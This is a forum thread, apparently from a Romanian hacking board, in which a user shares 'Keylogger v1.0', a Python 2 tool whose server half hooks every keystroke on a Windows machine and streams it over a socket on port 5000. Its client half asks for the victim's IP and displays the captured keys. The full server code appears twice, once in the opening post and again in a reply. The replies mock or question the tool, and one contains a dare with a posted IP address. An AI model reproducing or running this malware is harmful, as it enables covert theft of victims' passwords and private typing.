Jump to content
io.kent

[Python] Keylogger v1.0

Recommended Posts

Posted (edited)

Hi all. afternoon today as I had a rainy day and made ??me put this little code. Seeking information for San Google found the apis pythoncom and pyHook and made ??my version of a keylogger. This very basic and I have thought about improving the code . But for version 1.0 I think it's too xD So I share.

Cliente:

#!/usr/bin/env python

##################################
## ##
## Keylogger v1.0 ##
## By Expermicid ##
## Fecha : 15/10/12 ##
## Cliente ##
## ##
##################################

import socket
import os, sys

print '\nKeylogger v1.0 --- By Expermicid\n'
ipVictima = raw_input('introduzca la IP de la victima >>> ')
host = ipVictima
port = 5000
addr = (host, port)
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
except s.error:
print 'Error de coneccion '
raw_input()
else:
print 'Coneccion exitosa \n'
texto = ''
while True :
recibido = s.recv(1024)
texto += recibido
sys.stdout.write(os.popen('clear').read())
print texto

code:

##################################
## ##
## Keylogger v1.0 ##
## By Expermicid ##
## Fecha : 15/10/12 ##
## Server ##
## ##
##################################

import socket
import pythoncom, pyHook

def OnKeyboardEvent(event) :
# letras minusculas y letras mayusculas
if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
sc.send(chr(event.Ascii))
# numeros
elif event.Ascii > 47 and event.Ascii < 58 :
sc.send(chr(event.Ascii))
# F1 .. F12
elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Espacio
elif event.Ascii == 32 :
sc.send(chr(event.Ascii))
# Enter
elif event.Ascii == 13 :
sc.send(' [Intro] ')
# BackSpace
elif event.Ascii == 8 :
sc.send(' [BackSpace] ')
# Escape
elif event.Ascii == 27 :
sc.send(' [Escape] ')
# Tab
elif event.Ascii == 9 :
sc.send(' [Tab] ')
# Flechas
elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Bloq Mayus
elif event.KeyID == 20 and event.Ascii == 0 :
sc.send(' [BloqMayus] ')
# caracteres
elif event.Ascii > 32 and event.Ascii < 48 :
sc.send(chr(event.Ascii))
# caracteres
elif event.Ascii > 57 and event.Ascii < 65 :
sc.send(chr(event.Ascii))
# caracteres
elif event.Ascii > 90 and event.Ascii < 97 :
sc.send(chr(event.Ascii))
# caracteres
elif event.Ascii > 122 and event.Ascii < 127 :
sc.send(chr(event.Ascii))
# Insetar / Delete
elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# ascii extendido
elif event.Ascii > 127 and event.Ascii < 255 :
sc.send(chr(event.Ascii))
# Flechas
elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Win / Apps
elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Inicio-Fin / RePag-AvPag
elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((socket.gethostname(), 5000))
s.listen(1)
sc, addr = s.accept()
except s.error:
print 'Error de coneccion '
else:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

OlWOz.png

WD242.png

Fgpol.png

enjoy:)

Edited by io.kent
Posted

@io.kent Tu te auzi ce zici?

Prin ce protocol e efectuata conexiunea, cum naiba sa ii dai IP si el sa faca keylogg? Asta e o balarie de program.

Uite, IP-ul meu: 95.76.56.92

Nu e VPN, nu e nimic. Lasa-mi mesaj cand l-ai introdus, si eu ma reloghez pe toate conturile mele, inclusiv paypal.

Sa vad, daca reusesti eu trimit mesaj de pe gmail tuturor cunostintelor mele cu ce vrei tu, si postez pe facebook la fel.

Daca nu, o faci tu.

Deal?

Posted

Probabil cand 'victima' porneste un '.exe', poti dupa sa te loghezi prin terminal cu acest 'keylogger'. N-am inteles eu prea bine ce face codul asta.

Poate ne explica cineva ce-i cu chestioara asta...

Posted

Hi! i'm newbiew

someone can help me ?

how to make code ?

sorry my english very bad :)


##################################
## ##
## Keylogger v1.0 ##
## By Expermicid ##
## Fecha : 15/10/12 ##
## Server ##
## ##
##################################

import socket
import pythoncom, pyHook

def OnKeyboardEvent(event) :
# letras minusculas y letras mayusculas
if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
sc.send(chr(event.Ascii))
# numeros
elif event.Ascii > 47 and event.Ascii < 58 :
sc.send(chr(event.Ascii))
# F1 .. F12
elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Espacio
elif event.Ascii == 32 :
sc.send(chr(event.Ascii))
# Enter
elif event.Ascii == 13 :
sc.send(' [Intro] ')
# BackSpace
elif event.Ascii == 8 :
sc.send(' [BackSpace] ')
# Escape
elif event.Ascii == 27 :
sc.send(' [Escape] ')
# Tab
elif event.Ascii == 9 :
sc.send(' [Tab] ')
# Flechas
elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Bloq Mayus
elif event.KeyID == 20 and event.Ascii == 0 :
sc.send(' [BloqMayus] ')
# caracteres
elif event.Ascii > 32 and event.Ascii < 48 :
sc.send(chr(event.Ascii))
# caracteres
elif event.Ascii > 57 and event.Ascii < 65 :
sc.send(chr(event.Ascii))
# caracteres
elif event.Ascii > 90 and event.Ascii < 97 :
sc.send(chr(event.Ascii))
# caracteres
elif event.Ascii > 122 and event.Ascii < 127 :
sc.send(chr(event.Ascii))
# Insetar / Delete
elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# ascii extendido
elif event.Ascii > 127 and event.Ascii < 255 :
sc.send(chr(event.Ascii))
# Flechas
elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Win / Apps
elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')
# Inicio-Fin / RePag-AvPag
elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
sc.send(' ['+event.Key+'] ')

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((socket.gethostname(), 5000))
s.listen(1)
sc, addr = s.accept()
except s.error:
print 'Error de coneccion '
else:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...